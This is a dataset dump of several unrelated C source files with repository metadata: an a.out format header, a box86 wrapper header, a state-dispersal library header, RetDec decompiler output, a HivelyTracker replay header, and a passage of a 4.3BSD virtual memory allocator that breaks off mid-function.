c22aa24eda9efbc3cf9ae5608c00fe9107843aeb | 7d8f0cd831710fabf9a57c9c71cbed4c04b69707 | /tools/include/a_out.h | 72a055335919c34fdcfba022abc5ac42f1c21b0b | [] | no_license | sanderv32/milo-2.2 | 56367ffaec78a46bbc972d9c22145c508e0d34e3 | 05c0dd82aef21e6f72219fa7c8e1f10122cda5c1 | refs/heads/master | 2020-12-27T09:19:00.632644 | 2020-02-02T22:55:27 | 2020-02-02T22:55:27 | 237,849,269 | 1 | 1 | null | null | null | null | UTF-8 | C | false | false | 5,378 | h | /*
* HISTORY
* $Log: a_out.h,v $
* Revision 4.0 1993/10/18 15:37:42 rusling
* Include file.
*
*/
#ifndef _A_OUT_H_
#define _A_OUT_H_ 1
/* This file describes the a.out file format
Copyright (C) 1987 Free Software Foundation, Inc.
This file is part of GAS, the GNU Assembler.
GAS is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 1, or (at your option)
any later version.
GAS is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with GAS; see the file COPYING. If not, write to
the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA. */
/* Alpha's a.out. . . */
#ifdef CROSS_COMPILE_32_TO_64_BITS
#include "c_32_64.h"
typedef int32 boolean_t;
#else
#include <mach/std_types.h>
#endif
#if __osf__
typedef long integer_t;
#endif
struct exec {
integer_t a_magic; /* Use macros N_MAGIC, etc for access */
vm_size_t a_text; /* bytes of text in file */
vm_size_t a_data; /* bytes of data in file */
vm_size_t a_bss; /* bytes of auto-zeroed data */
vm_size_t a_syms; /* bytes of symbol table data in file */
vm_offset_t a_entry; /* start PC */
vm_offset_t a_tstart; /* text start, in memory */
vm_offset_t a_dstart; /* data start, in memory */
vm_size_t a_trsize; /* bytes of text-relocation info in file */
vm_size_t a_drsize; /* bytes of data-relocation info in file */
};
#define __LDPGSZ 8192
#ifndef OMAGIC
#define OMAGIC 0407
#define NMAGIC 0410
#define ZMAGIC 0413
#endif
#ifdef CROSS_COMPILE_32_TO_64_BITS
#define N_BADMAG(x) \
(((x).a_magic.low)!=OMAGIC && ((x).a_magic.low)!=NMAGIC && ((x).a_magic.low)!=ZMAGIC)
/* Address of the bottom of the text segment. */
#define N_TXTADDR(x) \
((x).a_tstart.low)
/* Address of the bottom of the data segment. */
#define N_DATADDR(x) \
((x).a_dstart.low)
/* Text segment offset. */
#define N_TXTOFF(ex) \
((ex).a_magic.low == ZMAGIC ? 0 : sizeof(struct exec))
/* Data segment offset. */
#define N_DATOFF(ex) \
((N_TXTOFF(ex)) + ((ex).a_magic.low != ZMAGIC ? (ex).a_text.low : \
__LDPGSZ + ((ex).a_text.low - 1 & ~(__LDPGSZ - 1))))
/* Symbol table offset. */
#define N_SYMOFF(x) \
(N_TXTOFF(x) + (x).a_text.low + (x).a_data.low + (x).a_trsize.low + (x).a_drsize.low)
#define N_STROFF(x) \
(N_SYMOFF(x) + (x).a_syms.low)
/* text relocation offset */
#define N_TRELOFF(x) \
(N_TXTOFF(x) + (x).a_text.low + (x).a_data.low)
/* data relocation offset */
#define N_DRELOFF(x) \
(N_TXTOFF(x) + (x).a_text.low + (x).a_data.low + (x).a_trsize.low)
#else
#define N_BADMAG(x) \
(((x).a_magic)!=OMAGIC && ((x).a_magic)!=NMAGIC && ((x).a_magic)!=ZMAGIC)
/* Address of the bottom of the text segment. */
#define N_TXTADDR(x) \
((x).a_tstart)
/* Address of the bottom of the data segment. */
#define N_DATADDR(x) \
((x).a_dstart)
/* Text segment offset. */
#define N_TXTOFF(ex) \
((ex).a_magic == ZMAGIC ? 0 : sizeof(struct exec))
/* Data segment offset. */
#define N_DATOFF(ex) \
((N_TXTOFF(ex)) + ((ex).a_magic != ZMAGIC ? (ex).a_text : \
__LDPGSZ + ((ex).a_text - 1 & ~(__LDPGSZ - 1))))
/* Symbol table offset. */
#define N_SYMOFF(x) \
(N_TXTOFF(x) + (x).a_text + (x).a_data + (x).a_trsize + (x).a_drsize)
#define N_STROFF(x) \
(N_SYMOFF(x) + (x).a_syms)
/* text relocation offset */
#define N_TRELOFF(x) \
(N_TXTOFF(x) + (x).a_text + (x).a_data)
/* data relocation offset */
#define N_DRELOFF(x) \
(N_TXTOFF(x) + (x).a_text + (x).a_data + (x).a_trsize)
#endif
struct nlist {
union {
char *n_name;
struct nlist *n_next;
long n_strx;
vm_offset_t n_pad_cross_compile;
} n_un;
char n_type;
char n_other;
short n_desc;
int n_pad;
vm_offset_t n_value;
};
#define N_UNDF 0x0
#define N_ABS 0x2
#define N_TEXT 0x4
#define N_DATA 0x6
#define N_BSS 0x8
#define N_COMM 0x12
#define N_FN 0x1f
#define N_EXT 0x1
#define N_TYPE 0x1e
#define N_STAB 0xe0
#define N_FORMAT "%016lx"
enum reloc_type
{
RELOC_0_7, RELOC_0_15, RELOC_0_31, RELOC_0_63,
RELOC_0_25, RELOC_16_31, RELOC_WDISP21, RELOC_BASE21,
RELOC_WDISP14, RELOC_BASE14, RELOC_32_47, RELOC_48_63,
RELOC_U_16_31, RELOC_U_32_47, RELOC_U_48_63, RELOC_0_12,
RELOC_0_8,
NO_RELOC,
BRELOC_0_15, BRELOC_0_31, BRELOC_16_31,
BRSET_0_15, BRSET_16_31
};
struct relocation_info {
vm_offset_t r_address;
unsigned int r_index;
unsigned char r_extern;
enum reloc_type r_type : 8;
#ifdef VMS_HOST
short pad;
#endif
integer_t r_addend;
};
/* The following constants are used for actually emitting relocation
* information on Alpha. The relocation_info structure can't be used
* directly because the NT compiler alligns structure members in strange
* ways (it appears to allign all members, including fields, on 4 byte
* boundries.).
*/
#define R_ADDRESS_OFFSET 0
#define R_ADDRESS_SIZE 8
#define R_INDEX_OFFSET 8
#define R_INDEX_SIZE 4
#define R_EXTERN_OFFSET 12
#define R_EXTERN_SIZE 1
#define R_TYPE_OFFSET 13
#define R_TYPE_SIZE 1
#define R_ADDEND_OFFSET 16
#define R_ADDEND_SIZE 8
#define RELOCATION_INFO_SIZE 24
#endif /* _A_OUT_H_ */
| [
"sanderv32@gmail.com"
] | sanderv32@gmail.com |
73492c4c104ab452755f369c18d96f70ec91937d | 8348f46c413b53c8f0ed88a2be6756cdb895f4ff | /src/wrapped/generated/wrappedgompundefs.h | cb0dd19134088b83ed6928bd3f233c2cf0f7aca0 | [
"MIT"
] | permissive | fengjixuchui/box86 | b3c3b1cf09b8beb4138bb96a6828f0bbbf4e9e6d | f0691e56fcb7c835cfcfd4dd76815d0517f8f4c4 | refs/heads/master | 2023-05-25T16:45:52.817195 | 2023-05-13T16:42:46 | 2023-05-13T16:42:46 | 208,695,258 | 0 | 0 | MIT | 2019-09-16T02:44:18 | 2019-09-16T02:44:18 | null | UTF-8 | C | false | false | 305 | h | /*******************************************************************
* File automatically generated by rebuild_wrappers.py (v2.0.0.10) *
*******************************************************************/
#ifndef __wrappedgompUNDEFS_H_
#define __wrappedgompUNDEFS_H_
#endif // __wrappedgompUNDEFS_H_
| [
"sebastien.chev@gmail.com"
] | sebastien.chev@gmail.com |
a9bbea93620774b1704048cc22789e4ffe5b9850 | 36a466a5192f3fa875a49c2e5da85f20920244a5 | /software/igor/apps/state_lib/fsw/src/state_lib.h | a6c9f98d8a749e56ae201e339677d74576874bcc | [
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] | permissive | efeslab/igor-ae | 3bf440bd96df3ec05a0c67bde4a834e341376401 | 17e940d4d3ab009fdfc4934b3a7a8ca76e5b7829 | refs/heads/main | 2023-04-03T05:55:59.661521 | 2021-04-12T18:24:56 | 2021-04-12T18:24:56 | 336,148,837 | 2 | 0 | null | null | null | null | UTF-8 | C | false | false | 5,205 | h | /*
** Andrew Loveless <loveless@umich.edu>
** License details in LICENSE.txt
*/
#ifndef _state_lib_
#define _state_lib_
#include "cfe.h"
#include "cfe_platform_cfg.h"
#include <stdbool.h>
/*
** Public Defines
*/
/* Maximum size of data to disperse in bytes. */
#define STATE_MAX_DATA_SIZE (1400)
/* Max instances of state dispersal. */
/* Must agree with the AFDX config table. */
#define STATE_MAX_INSTANCES (10)
/* Index in VL table where dispersal VLs start. */
/* See afdx_lib_vls.c in igor_defs/tables/ */
#define STATE_VL_OFFSET (630)
/*
** Public Structure Declarations
*/
/* Data for one instance of state dispersal. */
/* This is only public to facilitate testing. */
typedef struct {
bool is_config; /* True if instance of dispersal is configured. */
size_t num_replicas; /* Number of replicas <= MAX_REPLICA_COUNT. */
uint8* p_input; /* Pointer to state data to disperse to others. */
uint8* p_output; /* Pointer to where resulting state is stored. */
/* Only used if the replica does not start with p_input. */
size_t len; /* Size of state data to disperse in bytes. */
int vl_ids[MAX_REPLICA_COUNT]; /* VLs used for sending and receiving. */
/* Index REPLICA_INDEX is used for sending. */
/* Else, index k is used to receive from Replica k. */
/* Timeout in ms for the protocol. */
/* A timeout of 0 means no timeout is used. */
size_t timeout_ms;
/* Data added to accomodate STATE_DisperseMulti(). */
struct timespec stop; /* time when timeout is reached. */
bool got_data[MAX_REPLICA_COUNT]; /* true if got data from replica */
} STATE_Data_t;
/*
** Public Global Variables
*/
/* Internal data for each dispersal instance. */
/* This is only public to facilitate testing. */
extern STATE_Data_t STATE_Data[STATE_MAX_INSTANCES];
/*
** Public Function Declarations
*/
/* Used for initialization and cleanup. */
int32 STATE_LibEntry(void);
void STATE_LibInit(void);
void STATE_LibCleanup(void);
/**
** Configure an instance of the state dispersal protocol.
**
** \param[in] instance Instance of dispersal protocol to use.
** Must be < STATE_MAX_INSTANCES.
** \param[in] num_replicas Number of replicas in system.
** Must be <= MAX_REPLICA_COUNT.
** \param[in] p_input Pointer to location of state to disperse.
** \param[out] p_output Pointer where recovered state will be stored.
** \param[in] len Length of state to exchange in bytes.
** Must be <= STATE_MAX_DATA_SIZE.
** \param[in] timeout_ms Timeouts for the protocol in milliseconds.
**
** \return None
*/
void STATE_Config(size_t instance,
size_t num_replicas,
uint8* p_input,
uint8* p_output,
size_t len,
size_t timeout_ms);
/**
** Disperse your state data to other replicas.
**
** Note that the implementation of state dispersal is purposefully somewhat
** inefficient to make measuring worst-case latency easier. For example, even
** if a replica already has the state, they wait to read it from others. This
** would not be needed in a real implementation, since replicas who already
** have the state don't need to recover it.
**
** \param[in] instance Instance of dispersal protocol < STATE_MAX_INSTANCES.
** The instance must have already been configured
** with STATE_Config().
** \param[in] have_state True if replica has state to disperse, else false.
**
** \returns None
*/
void STATE_Disperse(size_t instance,
bool have_state);
/**
** Run multiple instances of state dispersal simultaneously.
**
** This is a convenience function that runs multiple instances of dispersal that
** have been configured until (num_instances) of them timeout or finish.
**
** \param[in] num_instances Number of instances of dispersal that must terminate
** in order for this function to return.
** \param[in] p_run_these Pointer to array of size STATE_MAX_INSTANCES
** indicating which instances to run.
** \param[in] p_have_data Pointer to array of size STATE_MAX_INSTANCES
** indicating which instances have state to disperse.
** \returns None
*/
void STATE_DisperseMulti(size_t num_instances,
bool* p_run_these,
bool* p_have_state);
/**
** Clear the receive VLs for the given dispersal instance.
**
** \param[in] instance Instance of exchange protocol < EXCHANGE_MAX_INSTANCES.
** The instance must have already been configured
** with EXCHANGE_Config().
** \returns None
*/
void STATE_ClearVLs(size_t instance);
/**
** Execute some functions to test the library.
** \return None
*/
void STATE_Test(void);
#endif
| [
"loveless@umich.edu"
] | loveless@umich.edu |
ddb4c97adaeac3e7b8c1df58234b4214c2b7db85 | 664a14b0998a94c1c5f2695a66c6452aaf6c2c49 | /from_boomerang/stattest/ia32_elf_by_boomerang/by_retdec.c | abec38afc0b361893f4a467045347734ba18abe0 | [] | no_license | xiaobo996/decompiler-subjects | 2d8712a3ef0c031d2cf44b3e69ec8b03983cd366 | d8d55ee11f095405aeb420fa982f260dd85b5831 | refs/heads/master | 2023-03-15T10:26:13.249349 | 2021-03-14T16:47:33 | 2021-03-14T16:47:33 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 1,367 | c | //
// This file was generated by the Retargetable Decompiler
// Website: https://retdec.com
// Copyright (c) Retargetable Decompiler <info@retdec.com>
//
#include <stdint.h>
#include <stdio.h>
#include <sys/stat.h>
// ------------------------ Structures ------------------------
struct stat {
int32_t e0;
int32_t e1;
int32_t e2;
int32_t e3;
int32_t e4;
int32_t e5;
int32_t e6;
int32_t e7;
int32_t e8;
int32_t e9;
int32_t e10;
int32_t e11;
int32_t e12;
int32_t e13;
int32_t e14;
int32_t e15;
int32_t e16;
int32_t e17;
int32_t e18;
int32_t e19;
};
// ------------------------ Functions -------------------------
// Address range: 0x804835c - 0x8048391
int main(int argc, char ** argv) {
// 0x804835c
int32_t v1; // bp-108, 0x804835c
int32_t result = __xstat(3, "test/source/stattest.c", (struct stat *)&v1); // 0x8048372
struct stat * v2; // 0x804835c
printf("Stat returns %d; size of file is %d\n", result, (int32_t)v2);
return result;
}
// --------------- Dynamically Linked Functions ---------------
// int __xstat(int ver, const char * filename, struct stat * stat_buf);
// int printf(const char * restrict format, ...);
// --------------------- Meta-Information ---------------------
// Detected compiler/packer: gcc (3.2.2)
// Detected functions: 1
| [
"i-git-stone@rf.risimo.net"
] | i-git-stone@rf.risimo.net |
09367542e0e47b981161c4ec27bd371d504594c8 | de68efe5f645b806ea61205f6c71a51439dda66a | /hvl_replay.h | e07732f2e0b84fdd4ad650fe3f61c03a14d858ad | [] | no_license | PSP-Archive/Planet-Hively | 09b07a0b423e32da13f47c0ca8a666e054e09fe6 | 01eacca314db8ba75ad460d14fbbc02641f14eb6 | refs/heads/main | 2023-07-02T13:40:24.939695 | 2021-08-08T01:58:10 | 2021-08-08T01:58:10 | 393,831,830 | 1 | 0 | null | null | null | null | UTF-8 | C | false | false | 7,148 | h |
#include "types.h"
// Woohoo!
#define MAX_CHANNELS 16
#define Period2Freq(period) ((3546897.f * 65536.f) / (period))
struct hvl_envelope
{
int16 aFrames, aVolume;
int16 dFrames, dVolume;
int16 sFrames;
int16 rFrames, rVolume;
int16 pad;
};
struct hvl_plsentry
{
uint8 ple_Note;
uint8 ple_Waveform;
int16 ple_Fixed;
int8 ple_FX[2];
int8 ple_FXParam[2];
};
struct hvl_plist
{
int16 pls_Speed;
int16 pls_Length;
struct hvl_plsentry *pls_Entries;
};
struct hvl_instrument
{
TEXT ins_Name[128];
uint8 ins_Volume;
uint8 ins_WaveLength;
uint8 ins_FilterLowerLimit;
uint8 ins_FilterUpperLimit;
uint8 ins_FilterSpeed;
uint8 ins_SquareLowerLimit;
uint8 ins_SquareUpperLimit;
uint8 ins_SquareSpeed;
uint8 ins_VibratoDelay;
uint8 ins_VibratoSpeed;
uint8 ins_VibratoDepth;
uint8 ins_HardCutRelease;
uint8 ins_HardCutReleaseFrames;
struct hvl_envelope ins_Envelope;
struct hvl_plist ins_PList;
};
struct hvl_position
{
uint8 pos_Track[MAX_CHANNELS];
int8 pos_Transpose[MAX_CHANNELS];
};
struct hvl_step
{
uint8 stp_Note;
uint8 stp_Instrument;
uint8 stp_FX;
uint8 stp_FXParam;
uint8 stp_FXb;
uint8 stp_FXbParam;
};
struct hvl_voice
{
int16 vc_Track;
int16 vc_NextTrack;
int16 vc_Transpose;
int16 vc_NextTranspose;
int32 vc_ADSRVolume;
struct hvl_envelope vc_ADSR;
struct hvl_instrument *vc_Instrument;
uint32 vc_SamplePos;
uint32 vc_Delta;
uint16 vc_InstrPeriod;
uint16 vc_TrackPeriod;
uint16 vc_VibratoPeriod;
uint16 vc_WaveLength;
int16 vc_NoteMaxVolume;
uint16 vc_PerfSubVolume;
uint8 vc_NewWaveform;
uint8 vc_Waveform;
uint8 vc_PlantPeriod;
uint8 vc_VoiceVolume;
uint8 vc_PlantSquare;
uint8 vc_IgnoreSquare;
uint8 vc_FixedNote;
int16 vc_VolumeSlideUp;
int16 vc_VolumeSlideDown;
int16 vc_HardCut;
uint8 vc_HardCutRelease;
int16 vc_HardCutReleaseF;
uint8 vc_PeriodSlideOn;
int16 vc_PeriodSlideSpeed;
int16 vc_PeriodSlidePeriod;
int16 vc_PeriodSlideLimit;
int16 vc_PeriodSlideWithLimit;
int16 vc_PeriodPerfSlideSpeed;
int16 vc_PeriodPerfSlidePeriod;
uint8 vc_PeriodPerfSlideOn;
int16 vc_VibratoDelay;
int16 vc_VibratoSpeed;
int16 vc_VibratoCurrent;
int16 vc_VibratoDepth;
int16 vc_SquareOn;
int16 vc_SquareInit;
int16 vc_SquareWait;
int16 vc_SquareLowerLimit;
int16 vc_SquareUpperLimit;
int16 vc_SquarePos;
int16 vc_SquareSign;
int16 vc_SquareSlidingIn;
int16 vc_SquareReverse;
uint8 vc_FilterOn;
uint8 vc_FilterInit;
int16 vc_FilterWait;
int16 vc_FilterSpeed;
int16 vc_FilterUpperLimit;
int16 vc_FilterLowerLimit;
int16 vc_FilterPos;
int16 vc_FilterSign;
int16 vc_FilterSlidingIn;
int16 vc_IgnoreFilter;
int16 vc_PerfCurrent;
int16 vc_PerfSpeed;
int16 vc_PerfWait;
struct hvl_plist *vc_PerfList;
int8 *vc_AudioPointer;
int8 *vc_AudioSource;
uint8 vc_NoteDelayOn;
uint8 vc_NoteCutOn;
int16 vc_NoteDelayWait;
int16 vc_NoteCutWait;
int16 vc_AudioPeriod;
int16 vc_AudioVolume;
int32 vc_WNRandom;
int8 *vc_MixSource;
int8 vc_SquareTempBuffer[0x80];
int8 vc_VoiceBuffer[0x282*4];
uint8 vc_VoiceNum;
uint8 vc_TrackMasterVolume;
uint8 vc_TrackOn;
int16 vc_VoicePeriod;
uint32 vc_Pan;
uint32 vc_SetPan; // New for 1.4
uint32 vc_PanMultLeft;
uint32 vc_PanMultRight;
uint32 vc_RingSamplePos;
uint32 vc_RingDelta;
int8 *vc_RingMixSource;
uint8 vc_RingPlantPeriod;
int16 vc_RingInstrPeriod;
int16 vc_RingBasePeriod;
int16 vc_RingAudioPeriod;
int8 *vc_RingAudioSource;
uint8 vc_RingNewWaveform;
uint8 vc_RingWaveform;
uint8 vc_RingFixedPeriod;
int8 vc_RingVoiceBuffer[0x282*4];
};
struct hvl_tune
{
TEXT ht_Name[128];
uint16 ht_SongNum;
uint32 ht_Frequency;
float64 ht_FreqF;
int8 *ht_WaveformTab[MAX_CHANNELS];
uint16 ht_Restart;
uint16 ht_PositionNr;
uint8 ht_SpeedMultiplier;
uint8 ht_TrackLength;
uint8 ht_TrackNr;
uint8 ht_InstrumentNr;
uint8 ht_SubsongNr;
uint16 ht_PosJump;
uint32 ht_PlayingTime;
int16 ht_Tempo;
int16 ht_PosNr;
int16 ht_StepWaitFrames;
int16 ht_NoteNr;
uint16 ht_PosJumpNote;
uint8 ht_GetNewPosition;
uint8 ht_PatternBreak;
uint8 ht_SongEndReached;
uint8 ht_Stereo;
uint16 *ht_Subsongs;
uint16 ht_Channels;
struct hvl_position *ht_Positions;
struct hvl_step ht_Tracks[256][64];
struct hvl_instrument *ht_Instruments;
struct hvl_voice ht_Voices[MAX_CHANNELS];
int32 ht_defstereo;
int32 ht_defpanleft;
int32 ht_defpanright;
int32 ht_mixgain;
};
void hvl_DecodeFrame( struct hvl_tune *ht, int8 *buf1, int8 *buf2, int32 bufmod );
void hvl_InitReplayer( void );
BOOL hvl_InitSubsong( struct hvl_tune *ht, uint32 nr );
struct hvl_tune *hvl_LoadTune( TEXT *name, uint32 freq, uint32 defstereo );
void hvl_FreeTune( struct hvl_tune *ht );
struct hvl_tune *hvl_reset( uint8 *buf, uint32 buflen, uint32 defstereo, uint32 freq, BOOL freeit );
| [
"pierluigiortenzi@gmail.com"
] | pierluigiortenzi@gmail.com |
c250ae8552698d447c59a26b08cc1009c90a675f | 934bf402fcb7f71ccae768aa2af049971d8d7bc8 | /sys/sys/vm_mem.c | b3aa66e1360d88295a2adbf5c0a59872ea208cab | [] | no_license | phamthechung/photonbsd | 0b82be7de25084314193313b56bdc937dcaea484 | 6860dfd5be0dc4a0462c9a1fb90aa01a82d60228 | refs/heads/master | 2016-09-06T07:49:45.900042 | 2013-02-02T06:03:12 | 2013-02-02T06:03:12 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 13,246 | c | /*
* Copyright (c) 1982, 1986 Regents of the University of California.
* All rights reserved. The Berkeley software License Agreement
* specifies the terms and conditions for redistribution.
*
* @(#)vm_mem.c 7.1 (Berkeley) 6/5/86
*/
#include "../machine/pte.h"
#include "param.h"
#include "systm.h"
#include "cmap.h"
#include "dir.h"
#include "user.h"
#include "proc.h"
#include "text.h"
#include "vm.h"
#include "file.h"
#include "inode.h"
#include "buf.h"
#include "mount.h"
#include "trace.h"
#include "map.h"
#include "kernel.h"
/*
* Allocate memory, and always succeed
* by jolting page-out daemon
* so as to obtain page frames.
* To be used in conjunction with vmemfree().
*/
vmemall(pte, size, p, type)
register struct pte *pte;
int size;
struct proc *p;
{
register int m;
if (size <= 0 || size > maxmem)
panic("vmemall size");
while (size > 0) {
if (freemem < desfree)
outofmem();
while (freemem == 0)
sleep((caddr_t)&freemem, PSWP+2);
m = imin(size, freemem);
(void) memall(pte, m, p, type);
size -= m;
pte += m;
}
if (freemem < desfree)
outofmem();
/*
* Always succeeds, but return success for
* vgetu and vgetpt (e.g.) which call either
* memall or vmemall depending on context.
*/
return (1);
}
/*
* Free valid and reclaimable page frames belonging to the
* count pages starting at pte. If a page is valid
* or reclaimable and locked (but not a system page), then
* we simply mark the page as c_gone and let the pageout
* daemon free the page when it is through with it.
* If a page is reclaimable, and already in the free list, then
* we mark the page as c_gone, and (of course) don't free it.
*
* Determines the largest contiguous cluster of
* valid pages and frees them in one call to memfree.
*/
vmemfree(pte, count)
register struct pte *pte;
register int count;
{
register struct cmap *c;
register struct pte *spte;
register int j;
int size, pcnt;
#ifdef notdef
int fileno;
#endif
if (count % CLSIZE)
panic("vmemfree");
for (size = 0, pcnt = 0; count > 0; pte += CLSIZE, count -= CLSIZE) {
if (pte->pg_fod == 0 && pte->pg_pfnum) {
c = &cmap[pgtocm(pte->pg_pfnum)];
pcnt += CLSIZE;
if (c->c_lock && c->c_type != CSYS) {
for (j = 0; j < CLSIZE; j++)
*(int *)(pte+j) &= PG_PROT;
c->c_gone = 1;
goto free;
}
if (c->c_free) {
pcnt -= CLSIZE;
for (j = 0; j < CLSIZE; j++)
*(int *)(pte+j) &= PG_PROT;
if (c->c_type == CTEXT)
distpte(&text[c->c_ndx], c->c_page,
pte);
c->c_gone = 1;
goto free;
}
if (size == 0)
spte = pte;
size += CLSIZE;
continue;
}
#ifdef notdef
/* Don't do anything with mapped ptes */
if (pte->pg_fod && pte->pg_v)
goto free;
#endif
if (pte->pg_fod) {
#ifdef notdef
fileno = ((struct fpte *)pte)->pg_fileno;
if (fileno < NOFILE)
panic("vmemfree vread");
#endif
for (j = 0; j < CLSIZE; j++)
*(int *)(pte+j) &= PG_PROT;
}
free:
if (size) {
memfree(spte, size, 1);
size = 0;
}
}
if (size)
memfree(spte, size, 1);
return (pcnt);
}
/*
* Unlink a page frame from the free list -
*
* Performed if the page being reclaimed
* is in the free list.
*/
munlink(c)
register struct cmap *c;
{
register int next, prev;
next = c->c_next;
prev = c->c_prev;
cmap[prev].c_next = next;
cmap[next].c_prev = prev;
c->c_free = 0;
if (freemem < minfree)
outofmem();
freemem -= CLSIZE;
}
/*
* Allocate memory -
*
* The free list appears as a doubly linked list
* in the core map with cmap[0] serving as a header.
*/
memall(pte, size, p, type)
register struct pte *pte;
int size;
struct proc *p;
{
register struct cmap *c;
register struct pte *rpte;
register struct proc *rp;
int i, j, next, curpos;
unsigned pf;
struct cmap *c1, *c2;
int s;
if (size % CLSIZE)
panic("memall");
s = splimp();
if (size > freemem) {
splx(s);
return (0);
}
trace(TR_MALL, size, u.u_procp->p_pid);
for (i = size; i > 0; i -= CLSIZE) {
curpos = cmap[CMHEAD].c_next;
c = &cmap[curpos];
freemem -= CLSIZE;
next = c->c_next;
cmap[CMHEAD].c_next = next;
cmap[next].c_prev = CMHEAD;
if (c->c_free == 0)
panic("dup mem alloc");
if (cmtopg(curpos) > maxfree)
panic("bad mem alloc");
if (c->c_gone == 0 && c->c_type != CSYS) {
if (c->c_type == CTEXT)
rp = text[c->c_ndx].x_caddr;
else
rp = &proc[c->c_ndx];
while (rp->p_flag & SNOVM)
rp = rp->p_xlink;
switch (c->c_type) {
case CTEXT:
rpte = tptopte(rp, c->c_page);
break;
case CDATA:
rpte = dptopte(rp, c->c_page);
break;
case CSTACK:
rpte = sptopte(rp, c->c_page);
break;
}
zapcl(rpte, pg_pfnum) = 0;
if (c->c_type == CTEXT)
distpte(&text[c->c_ndx], c->c_page, rpte);
}
switch (type) {
case CSYS:
c->c_ndx = p->p_ndx;
break;
case CTEXT:
c->c_page = vtotp(p, ptetov(p, pte));
c->c_ndx = p->p_textp - &text[0];
break;
case CDATA:
c->c_page = vtodp(p, ptetov(p, pte));
c->c_ndx = p->p_ndx;
break;
case CSTACK:
c->c_page = vtosp(p, ptetov(p, pte));
c->c_ndx = p->p_ndx;
break;
}
if (c->c_blkno) {
/*
* This is very like munhash(), except
* that we really don't want to bother
* to calculate a dev to pass to it.
*/
j = CMHASH(c->c_blkno);
c1 = &cmap[cmhash[j]];
if (c1 == c)
cmhash[j] = c1->c_hlink;
else {
for (;;) {
if (c1 == ecmap)
panic("memall ecmap");
c2 = c1;
c1 = &cmap[c2->c_hlink];
if (c1 == c)
break;
}
c2->c_hlink = c1->c_hlink;
}
if (mfind(c->c_mdev == MSWAPX ?
swapdev : mount[c->c_mdev].m_dev,
(daddr_t)(u_long)c->c_blkno))
panic("memall mfind");
c1->c_mdev = 0;
c1->c_blkno = 0;
c1->c_hlink = 0;
}
pf = cmtopg(curpos);
for (j = 0; j < CLSIZE; j++)
*(int *)pte++ = pf++;
c->c_free = 0;
c->c_gone = 0;
if (c->c_intrans || c->c_want)
panic("memall intrans|want");
c->c_lock = 1;
c->c_type = type;
}
splx(s);
return (size);
}
/*
* Free memory -
*
* The page frames being returned are inserted
* to the head/tail of the free list depending
* on whether there is any possible future use of them.
*
* If the freemem count had been zero,
* the processes sleeping for memory
* are awakened.
*/
memfree(pte, size, detach)
register struct pte *pte;
register int size;
{
register int i, j, prev, next;
register struct cmap *c;
int s;
if (size % CLSIZE)
panic("memfree");
if (freemem < CLSIZE * KLMAX)
wakeup((caddr_t)&freemem);
while (size > 0) {
size -= CLSIZE;
i = pte->pg_pfnum;
if (i < firstfree || i > maxfree)
panic("bad mem free");
i = pgtocm(i);
c = &cmap[i];
if (c->c_free)
panic("dup mem free");
if (detach && c->c_type != CSYS) {
for (j = 0; j < CLSIZE; j++)
*(int *)(pte+j) &= PG_PROT;
c->c_gone = 1;
}
s = splimp();
if (detach && c->c_blkno == 0) {
next = cmap[CMHEAD].c_next;
cmap[next].c_prev = i;
c->c_prev = CMHEAD;
c->c_next = next;
cmap[CMHEAD].c_next = i;
} else {
prev = cmap[CMHEAD].c_prev;
cmap[prev].c_next = i;
c->c_next = CMHEAD;
c->c_prev = prev;
cmap[CMHEAD].c_prev = i;
}
c->c_free = 1;
freemem += CLSIZE;
splx(s);
pte += CLSIZE;
}
}
/*
* Allocate wired-down (non-paged) pages in kernel virtual memory.
*/
caddr_t
wmemall(pmemall, n)
int (*pmemall)(), n;
{
register int npg;
register caddr_t va;
register int a;
npg = clrnd(btoc(n));
a = rmalloc(kernelmap, (long)npg);
if (a == 0)
return (0);
if ((*pmemall)(&Usrptmap[a], npg, &proc[0], CSYS) == 0) {
rmfree(kernelmap, (long)npg, (long)a);
return (0);
}
va = (caddr_t) kmxtob(a);
vmaccess(&Usrptmap[a], va, npg);
return (va);
}
/*
* Allocate wired-down (non-paged) pages in kernel virtual memory.
* (and clear them)
*/
caddr_t
zmemall(pmemall, n)
int (*pmemall)(), n;
{
register int npg;
register caddr_t va;
register int a;
npg = clrnd(btoc(n));
a = rmalloc(kernelmap, (long)npg);
if (a == 0)
return (0);
if ((*pmemall)(&Usrptmap[a], npg, &proc[0], CSYS) == 0) {
rmfree(kernelmap, (long)npg, (long)a);
return (0);
}
va = (caddr_t) kmxtob(a);
vmaccess(&Usrptmap[a], va, npg);
while (--npg >= 0)
clearseg((unsigned)(PG_PFNUM & *(int *)&Usrptmap[a++]));
return (va);
}
wmemfree(va, n)
caddr_t va;
int n;
{
register int a, npg;
a = btokmx((struct pte *) va);
npg = clrnd(btoc(n));
(void) memfree(&Usrptmap[a], npg, 0);
rmfree(kernelmap, (long)npg, (long)a);
}
/*
* Enter clist block c on the hash chains.
* It contains file system block bn from device dev.
* Dev must either be a mounted file system or the swap device
* so we panic if getfsx() cannot find it.
*/
mhash(c, dev, bn)
register struct cmap *c;
dev_t dev;
daddr_t bn;
{
register int i = CMHASH(bn);
c->c_hlink = cmhash[i];
cmhash[i] = c - cmap;
c->c_blkno = bn;
i = getfsx(dev);
if (i == -1)
panic("mhash");
c->c_mdev = i;
}
/*
* Pull the clist entry of <dev,bn> off the hash chains.
* We have checked before calling (using mfind) that the
* entry really needs to be unhashed, so panic if we can't
* find it (can't happen).
* Must be called at splimp.
*/
munhash(dev, bn)
dev_t dev;
daddr_t bn;
{
register int i = CMHASH(bn);
register struct cmap *c1, *c2;
c1 = &cmap[cmhash[i]];
if (c1 == ecmap)
panic("munhash");
if (c1->c_blkno == bn && getfsx(dev) == c1->c_mdev)
cmhash[i] = c1->c_hlink;
else {
for (;;) {
c2 = c1;
c1 = &cmap[c2->c_hlink];
if (c1 == ecmap)
panic("munhash");
if (c1->c_blkno == bn && getfsx(dev) == c1->c_mdev)
break;
}
c2->c_hlink = c1->c_hlink;
}
if (mfind(dev, bn))
panic("munhash mfind");
